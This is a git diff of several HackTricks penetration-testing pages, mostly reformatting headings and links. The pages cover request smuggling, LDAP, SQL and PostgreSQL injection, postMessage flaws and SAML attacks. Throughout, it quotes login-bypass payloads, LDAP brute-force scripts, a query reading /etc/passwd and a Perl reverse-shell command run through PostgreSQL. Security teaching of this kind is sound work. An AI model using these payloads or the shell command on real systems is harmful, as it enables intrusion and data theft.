- -# HTTP Request Queue Desynchronisation +## HTTP Request Queue Desynchronisation First of all, this technique **abuses a HTTP Request Smuggling vulnerability**, so you need to know what that is: @@ -25,7 +26,7 @@ The **main** **difference** between this technique and a common HTTP Request smu This is because we are going to be able to **desynchronise the response queue** so the **response** from the **legit** **request** of the **victim is sent to the attacker**, or by **injecting attackers controlled content in the response to the victim**. -## HTTP Pipeline Desync +### HTTP Pipeline Desync HTTP/1.1 allows to ask for **different resources without needing to wait for previous ones**. Therefore, if there is a **proxy** in the **middle**, it's the proxies task to **maintain a synchronised match of requests sent to the backend and responses coming from it**. @@ -43,13 +44,13 @@ Moreover, is the **attacker then perform a request** and the **legitimate respon ![](<../.gitbook/assets/image (655) (1) (1) (1).png>) -## Multiple Nested Injections +### Multiple Nested Injections Another **interesting difference** with common **HTTP Request Smuggling** is that, in a common smuggling attack, the **goal** is to **modify the beginning of the victims request** so it perform an unexpected action. In a **HTTP Response smuggling attack**, as you are **sending full requests**, you can **inject in one payload tens of responses** that will be **desynchronising tens of users** that will be **receiving** the **injected** **responses**. Apart from being able to **distribute more easily tens of exploits** across legitimate users, this could also be used to cause a **DoS** in the server. -## Exploit Organisation +### Exploit Organisation As explained previously, in order to abuse this technique, it's needed that the **first smuggled message** into the server **requires a lot of time to be processed**. @@ -57,9 +58,9 @@ This **time consuming request is enough** if we just want to **try to steal the First of all the **initial** request abusing **HTTP** **Request** **smuggling**, then the **time consuming request** and then **1 or more payload requests** that whose responses will be sent to the victims. -# Abusing HTTP Response Queue Desynchronisation +## Abusing HTTP Response Queue Desynchronisation -## Capturing other users' requests +### Capturing other users' requests As with HTTP Request Smuggling known payloads, you can **steal the victims request** with one important difference: In this case you just need the **send content to be reflected in the response**, **no persistent storage** is needed. @@ -73,7 +74,7 @@ Then, once the **initial request** (blue) was **processed** and **while** the ** Then, the **victim** will **receive** the **response to the sleepy** request and if in the meantime the **attacker** **sent** **another** **request**, the **response from the reflected content request will be sent to him**. -# Response Desynchronisation +## Response Desynchronisation Up to this point, we have learned how to abuse HTTP Request Smuggling attacks to **control** the **request** **whose** **response** a **client** is going to **receive** and how you can then **steal the response that was meant for the victim**. @@ -93,13 +94,13 @@ Then, the **victim** will **receive** the **response** from the **HEAD** request ![](<../.gitbook/assets/image (627) (1).png>) -## Content Confusion +### Content Confusion Following the previous example, knowing that you can **control the body** of the request whose response is going to receive the victim and that a **HEAD** **response** usually contains in its headers the **Content-Type and the Content-Length**, you can **send a request like the following** one to **cause XSS** in the victim without the page being vulnerable to XSS: ![](<../.gitbook/assets/image (654) (1) (1) (1) (1).png>) -## Cache Poisoning +### Cache Poisoning Abusing the previously commented response desynchronisation Content Confusion attack, i**f the cache stores the response to the request performed by the victim and this response is an injected one causing a XSS, then the cache is poisoned**. @@ -115,13 +116,13 @@ Malicious response to the victim that contains the header that indicates to the Note that in this case if the **"victim" is the attacker** he can now perform **cache poisoning in arbitrary URLs** as he can **control the URL that is going to be cached** with the malicious response. {% endhint %} -## Web Cache Deception +### Web Cache Deception This attack is similar to the previous one, but **instead of injecting a payload inside the cache, the attacker will be caching victim information inside of the cache:** -![](<../.gitbook/assets/image (643) (1) (1).png>) +![](<../.gitbook/assets/image (630) (1) (1).png>) -## Response Splitting +### Response Splitting The **goal** of this attack is to abuse again the **response** **desynchronisation** in order to **make the proxy send a 100% attacker generated response**. @@ -143,7 +144,7 @@ However, note how the **reflected data had a size according to the Content-Lengt Therefore, the **next request of the second victim** will be **receiving** as **response something completely crafted by the attacker**. As the response is completely crafted by the attacker he can also **make the proxy cache the response**. -# References +## References * Don't forget to check this video explaining all these techniques really good: [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s) diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index c33fcdf6..ad670a42 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -1,5 +1,7 @@ # LDAP Injection +## LDAP Injection +
Support HackTricks and get benefits! @@ -16,27 +18,25 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-{% hint style="danger" %} -**** +\*\*\*\* **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -{% endhint %} -# LDAP Injection +## LDAP Injection -## **LDAP** +### **LDAP** **If you want to know what is LDAP access the following page:** -{% content-ref url="../pentesting/pentesting-ldap.md" %} -[pentesting-ldap.md](../pentesting/pentesting-ldap.md) +{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} +[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} **LDAP Injection** is an attack used to **exploit** **web** based applications that construct **LDAP** **statements** based on **user** **input**. When an application **fails** to properly **sanitize** user input, it's possible to modify LDAP statements using a local proxy. -{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} +{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %} **Filter** = ( filtercomp )\ **Filtercomp** = and / or / not / item\ @@ -74,7 +74,7 @@ Example: `(&(directory=val1)(folder=public))` Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed). -## Login Bypass +### Login Bypass LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed. @@ -133,13 +133,13 @@ password=any --> (&(uid=admin)) (| (|) (webpassword=any)) ``` -### Lists +#### Lists * [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt) * [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) * [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) -## Blind LDAP Injection +### Blind LDAP Injection You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection: @@ -155,7 +155,7 @@ Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` -### Dump data +#### Dump data You can iterate over the ascii letters, digits and symbols: @@ -170,9 +170,9 @@ You can iterate over the ascii letters, digits and symbols: ... ``` -## Scripts +### Scripts -### **Discover valid LDAP fields** +#### **Discover valid LDAP fields** LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). @@ -208,7 +208,7 @@ for attribute in attributes: #Extract all attributes print() ``` -### **Special Blind LDAP Injection (without "\*")** +#### **Special Blind LDAP Injection (without "\*")** ```python #!/usr/bin/python3 @@ -227,13 +227,13 @@ for i in range(50): break ``` -## Google Dorks +### Google Dorks ```bash intitle:"phpLDAPadmin" inurl:cmd.php ``` -## More Payloads +### More Payloads [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection) diff --git a/pentesting-web/login-bypass/README.md b/pentesting-web/login-bypass/README.md index 7cdc29bf..47853ddd 100644 --- a/pentesting-web/login-bypass/README.md +++ b/pentesting-web/login-bypass/README.md @@ -1,4 +1,4 @@ - +# Login Bypass
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# **Bypass regular login** +## **Bypass regular login** If you find a login page, here you can find some techniques to try to bypass it: @@ -26,15 +25,15 @@ If you find a login page, here you can find some techniques to try to bypass it: * Check to **not send the parameters** (do not send any or only 1) * Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b` * Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1` - * Nodejs will transform that payload to a query similar to the following one: `SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `**`password=password=1`**`;` which makes the password bit to be always true. + * Nodejs will transform that payload to a query similar to the following one: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` which makes the password bit to be always true. * Adding `"stringifyObjects":true` option when calling `mysql.createConnection` will eventually block all unexpected behaviours when `Object` is passed in the parameter. * Check credentials: - * [**Default credentials**](../../brute-force.md#default-credentials) of the technology/platform used + * [**Default credentials**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) of the technology/platform used * **Common combinations** (root, admin, password, name of the tech, default user with one of these passwords). * Create a dictionary using **Cewl**, **add** the **default** username and password (if there is) and try to brute-force it using all the words as **usernames and password** - * **Brute-force** using a bigger **dictionary (**[**Brute force**](../../brute-force.md#http-post-form)**)** + * **Brute-force** using a bigger **dictionary (**[**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)** -## SQL Injection authentication bypass +### SQL Injection authentication bypass [Here you can find several tricks to bypass the login via **SQL injections**](../sql-injection/#authentication-bypass). @@ -44,13 +43,13 @@ In the following page you can find a **custom list to try to bypass login** via [sql-login-bypass.md](sql-login-bypass.md) {% endcontent-ref %} -## No SQL Injection authentication bypass +### No SQL Injection authentication bypass [Here you can find several tricks to bypass the login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.** As the NoSQL Injections requires to change the parameters value, you will need to test them manually. -## XPath Injection authentication bypass +### XPath Injection authentication bypass [Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass) @@ -70,7 +69,7 @@ admin' or ' admin' or '1'='2 ``` -## LDAP Injection authentication bypass +### LDAP Injection authentication bypass [Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass) @@ -88,20 +87,19 @@ pwd)) admin))(|(| ``` -## Remember Me +### Remember Me If the page has "**Remember Me**" functionality check how is it implemented and see if you can abuse it to **takeover other accounts**. -## Redirects +### Redirects Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information (codes, cookies...) if you redirect the user to your web. -# Other Checks +## Other Checks * Check if you can **enumerate usernames** abusing the login functionality. * Check if **auto-complete** is active in the password/**sensitive** information **forms** **input:** ` Support HackTricks and get benefits! @@ -117,5 +115,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** - - diff --git a/pentesting-web/postmessage-vulnerabilities.md b/pentesting-web/postmessage-vulnerabilities.md index b410eb3f..74a84efb 100644 --- a/pentesting-web/postmessage-vulnerabilities.md +++ b/pentesting-web/postmessage-vulnerabilities.md @@ -1,5 +1,7 @@ # PostMessage Vulnerabilities +## PostMessage Vulnerabilities +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Send **PostMessage** +## Send **PostMessage** **PostMessage** uses the following function to send a message: @@ -42,7 +43,7 @@ Note that **targetOrigin** can be a '\*' or an URL like _https://company.com._\ \_\_In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different).\ If the **wildcard** is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object. -## Attacking iframe & wilcard in **targetOrigin** +### Attacking iframe & wilcard in **targetOrigin** As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\ Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**. @@ -63,7 +64,7 @@ Note that if the page can be iframed but the **targetOrigin** is **set to a URL ``` -# addEventListener exploitation +## addEventListener exploitation **`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\ A code similar to the following one will be used: @@ -79,14 +80,14 @@ window.addEventListener("message", (event) => { Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example). -## Enumeration +### Enumeration In order to **find event listeners** in the current page you can: * **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_) * **Execute** in the developer tools console: `getEventListeners(window)` -![](<../.gitbook/assets/image (618) (1) (1).png>) +![](<../.gitbook/assets/image (618) (1).png>) * **Go to** _Elements --> Event Listeners_ in the developer tools of the browser @@ -94,7 +95,7 @@ In order to **find event listeners** in the current page you can: * Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you. -## addEventListener check origin bypasses +### addEventListener check origin bypasses * If **`indexOf()`** is used to **check** the **origin** of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\ * If **`search()`** is used to **validate** the **origin** could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.\ @@ -114,7 +115,7 @@ result.message; // "'"\" `File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function. -## X-Frame-Header bypass +### X-Frame-Header bypass In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\ In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it: @@ -126,7 +127,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000); ``` -## postMessage to Prototype Pollution and/or XSS +### postMessage to Prototype Pollution and/or XSS In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`. @@ -156,7 +157,7 @@ For **more information**: * Link to page about [**XSS**](xss-cross-site-scripting/) * Link to page about [**client side prototype pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) -# References +## References * [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) * [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) diff --git a/pentesting-web/saml-attacks/README.md b/pentesting-web/saml-attacks/README.md index 8c484581..1bf523d9 100644 --- a/pentesting-web/saml-attacks/README.md +++ b/pentesting-web/saml-attacks/README.md @@ -1,5 +1,7 @@ # SAML Attacks +## SAML Attacks +
Support HackTricks and get benefits! @@ -16,22 +18,21 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information {% content-ref url="saml-basics.md" %} [saml-basics.md](saml-basics.md) {% endcontent-ref %} -# Attacks Graphic +## Attacks Graphic -![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (6).png>) +![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -# Tool +## Tool [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): A tool that can take a URL or list of URL and prints back SAML consume URL. -# XML round-trip +## XML round-trip In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**. @@ -72,7 +73,7 @@ For more information about the vulnerability and how to abuse it: * [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/) * [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/) -# XML Signature Wrapping Attacks +## XML Signature Wrapping Attacks XML documents containing XML Signatures are typically **processed in two independent steps**: **signature** **validation** and **function** **invocation** (business logic). If both modules have different views on the data, a new class of vulnerabilities named XML Signature Wrapping attacks (XSW) exists.\ In these attacks the **adversary** **modifies** the **message** structure by **injecting** **forged** elements **which do not invalidate the XML Signature**. The goal of this alteration is to change the message in such a way that the **application logic and the signature verification module use different parts of the message**. Consequently, the receiver verifies the XML Signature successfully but the application logic processes the bogus element. The **attacker thus circumvents the integrity protection** and the origin authentication of the XML Signature and can inject arbitrary content. @@ -81,66 +82,66 @@ From the SAML request: ![](<../../.gitbook/assets/image (537).png>) -## XSW #1 +### XSW #1 An attacker can **add a new root element where the signature** is found. Therefore, when the validator checks the integrity of the signature it may note that it has **check** the **integrity** of the **Response -> Assertion -> Subject**, and it might get confused with the **evil new Response -> Assertion -> Subject** path in red and use its data. ![](<../../.gitbook/assets/image (538).png>) -## XSW #2 +### XSW #2 The difference with #1 is that the type of Signature used is a **detached signature** where XSW #1 used an enveloping signature.\ Note how the new evil structure is the same as before trying to confuse the business logic after the integrity check was performed. ![](<../../.gitbook/assets/image (539).png>) -## XSW #3 +### XSW #3 In this attack an **evil Assertion is created in at the same level** as the original assertion to try to confuse the business logic and use the evil data. ![](<../../.gitbook/assets/image (540).png>) -## XSW #4 +### XSW #4 XSW #4 is similar to #3, except in this case the **original Assertion becomes a child** of the copied Assertion. ![](<../../.gitbook/assets/image (541).png>) -## XSW #5 +### XSW #5 In XSW #5 the Signature and the original Assertion aren’t in one of the three standard configurations (enveloped/enveloping/detached). In this case, the copied Assertion envelopes the Signature. ![](<../../.gitbook/assets/image (542).png>) -## XSW #6 +### XSW #6 XSW #6 inserts its copied Assertion into the same location as #’s 4 and 5. The interesting piece here is that the copied Assertion envelopes the Signature, which in turn envelopes the original Assertion. ![](<../../.gitbook/assets/image (543).png>) -## XSW #7 +### XSW #7 XSW #7 inserts an **Extensions** element and adds the copied **Assertion** as a **child**. Extensions is a valid XML element with a **less restrictive schema definition**. The authors of this [white paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) developed this method in response to the OpenSAML library. OpenSAML used schema validation to correctly compare the ID used during signature validation to the ID of the processed Assertion. The authors found in cases where copied Assertions with the same ID of the original Assertion were children of an element with a less restrictive schema definition, they were able to bypass this particular countermeasure. ![](<../../.gitbook/assets/image (544).png>) -## XSW #8 +### XSW #8 XSW #8 uses another **less restrictive XML element** to perform a variation of the attack pattern used in XSW #7. This time around the original Assertion is the child of the less restrictive element instead of the copied Assertion. ![](<../../.gitbook/assets/image (545).png>) -## Tool +### Tool You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it. ![](<../../.gitbook/assets/image (546).png>) -## Original Paper +### Original Paper For more information about this attack read the original paper in [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) -# XXE +## XXE If you don't know which kind of attacks are XXE, please read the following page: @@ -168,11 +169,11 @@ Due to the fact that SAML Responses are deflated and base64’d **XML documents* [...] ``` -## Tool +### Tool You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities. -# XSLT via SAML +## XSLT via SAML For more information about XSLT go to: @@ -206,17 +207,17 @@ Here you can find a **POC** to check for this kind of vulnerabilities, in the ha ``` -## Tool +### Tool You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XSLT vulnerabilities. -# XML Signature Exclusion +## XML Signature Exclusion Signature Exclusion is used to test how the SAML implementation behaves when there is **no Signature elemen**t. When a Signature element is **absent** the **signature validation step may get skipped entirely**. If the Signature isn’t validated, then any of the contents that would typically be signed may be tampered with by an attacker. ![](<../../.gitbook/assets/image (547).png>) -## Tool +### Tool Signature exclusion begins with intercepting the SAML Response then clicking `Remove Signatures`. In doing so **all** Signature elements are removed. @@ -224,11 +225,11 @@ Signature exclusion begins with intercepting the SAML Response then clicking `Re With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service -# Certificate Faking +## Certificate Faking Certificate faking is the process of testing whether or not the Service Provider **verifies that a trusted Identity Provider signed the SAML Message.** The trust relationship between SP and IdP is established and **should be verified** each time a SAML Message is received. What this comes down to is using a **self-signed** certificate to sign the SAML Response or Assertion. -## Tool +### Tool The Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) is going to be used.\ To fake a certificate, begin by intercepting the SAML Response.\ @@ -246,7 +247,7 @@ Doing so generates a self-signed clone of the original certificate. Now it’s t After signing the message with the self-signed cert, send it on its way. If we authenticate, we know that we can sign our SAML Messages. The ability to sign our SAML Messages means we can change values in the Assertion and they will be accepted by the Service Provider. -# Token Recipient Confusion / Service Provider Target Confusion +## Token Recipient Confusion / Service Provider Target Confusion Token Recipient Confusion / Service Provider Target CONfusion **tests whether or not the Service Provider validates the Recipient**. This means, that **if the response was meant to a different Service Provide**r, the **current** Service Provider should notice it and **reject the authentication**.\ The **Recipient** field is an attribute of the **SubjectConfirmationData** element, which is a child of the Subject element in a SAML Response. @@ -255,13 +256,13 @@ The **Recipient** field is an attribute of the **SubjectConfirmationData** eleme The Recipient attribute found on the **SubjectConfirmationData element is a URL that specifies the location to which the Assertion must be delivered**. If the Recipient is a different Service Provider than the one who receives it, the Assertion should not be accepted. -## How-to +### How-to SAML Token Recipient Confusion (SAML-TRC) has a few prequisite conditions in order for us to attempt exploitation. First, we **need** to have a **legitimate account on a Service Provider**. Second, **SP-Target must accept tokens issued by the same Identity Provider that services SP-Legit**. The attack is relatively simple if the conditions are true. We **authenticate** to **SP-Legit** via the shared Identity Provider. We then **intercept the SAML Response on its way from the IdP to SP-Legit**. Once intercepted, we send the **SAML Response that was intended for SP-Legit to SP-Target instead.** If **SP-Target accepts the Assertion**; we’ll find ourselves logged in with the same account name as we have for SP-Legit and get access to SP-Target’s corresponding resources. -# XSS in Logout functionality +## XSS in Logout functionality (Access the [original research here](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)) @@ -279,7 +280,7 @@ https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarb The base parameter is taking a URL so how about replacing that with the old classic `javascript:alert(123);` to trigger an XSS. -## Mass Exploitation +### Mass Exploitation Using [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) that can take a list of URLs and then give you back the callback (SAML consume) URL, I decided to feed the tool with all subdomains of `uberinternal.com` to see if there are other domains that use the same library and there was. @@ -303,7 +304,7 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList: print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit) ``` -# References +## References The attacks were obtained from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\ You can find additional resources and write-ups in [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index 26bb88b1..b9d22e37 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -1,5 +1,7 @@ # PostgreSQL injection +## PostgreSQL injection +
Support HackTricks and get benefits! @@ -16,36 +18,34 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-{% hint style="danger" %} -**** +\*\*\*\* **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -{% endhint %} -# PostgreSQL injection +## PostgreSQL injection **This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) -## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration +### Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration **`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**.\ **These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**.\ [**You can read here how to perform these attacked.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) -### **Exfiltration example using dblink and large objects** +#### **Exfiltration example using dblink and large objects** You can [**read this example**](dblink-lo\_import-data-exfiltration.md) to see a CTF example of\*\* how to load data inside large objects and then exfiltrate the content of large objects inside the username\*\* of the function `dblink_connect`. -## PL/pgSQL password bruteforce +### PL/pgSQL password bruteforce PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.\ **You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.** [**Read this to learn how.**](pl-pgsql-password-bruteforce.md) -## File-system actions +### File-system actions -### Read directories and files +#### Read directories and files From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path (check out `convert_and_check_filename` in `genfile.c`).: @@ -54,7 +54,7 @@ select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd' , 0 , 1000000); ``` -### Simple File Writing +#### Simple File Writing ```bash copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; @@ -63,14 +63,14 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\ A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.** -### **Binary files upload** +#### **Binary files upload** However, there are **other techniques to upload big binary files**.\ [**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md) -## RCE +### RCE -### **RCE from version 9.3** +#### **RCE from version 9.3** Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the ‘pg\_execute\_server\_program’ group to run arbitrary operating system commands. @@ -90,12 +90,12 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\ More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). -### RCE with PostgreSQL extensions +#### RCE with PostgreSQL extensions Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.\ [**Lear how to abuse this functionality reading this post.**](rce-with-postgresql-extensions.md) -### PostgreSQL configuration file RCE +#### PostgreSQL configuration file RCE The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.** @@ -123,14 +123,14 @@ While testing this I noticed that this will only work if the **private key file **More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.** -## WAF bypass +### WAF bypass -### PostgreSQL String functions +#### PostgreSQL String functions Manipulating strings could help you to **bypass WAFs or other restrictions**.\ [**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.** -### Stacked Queries +#### Stacked Queries Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection: @@ -139,7 +139,7 @@ id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - ``` -### XML tricks +#### XML tricks **query\_to\_xml** @@ -157,7 +157,7 @@ This function will dump the whole database in XML format in just 1 row (be caref SELECT database_to_xml(true,true,''); ``` -### Forbidden quotes +#### Forbidden quotes If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_): diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index 13b0faab..2b8dde47 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -1,5 +1,7 @@ # 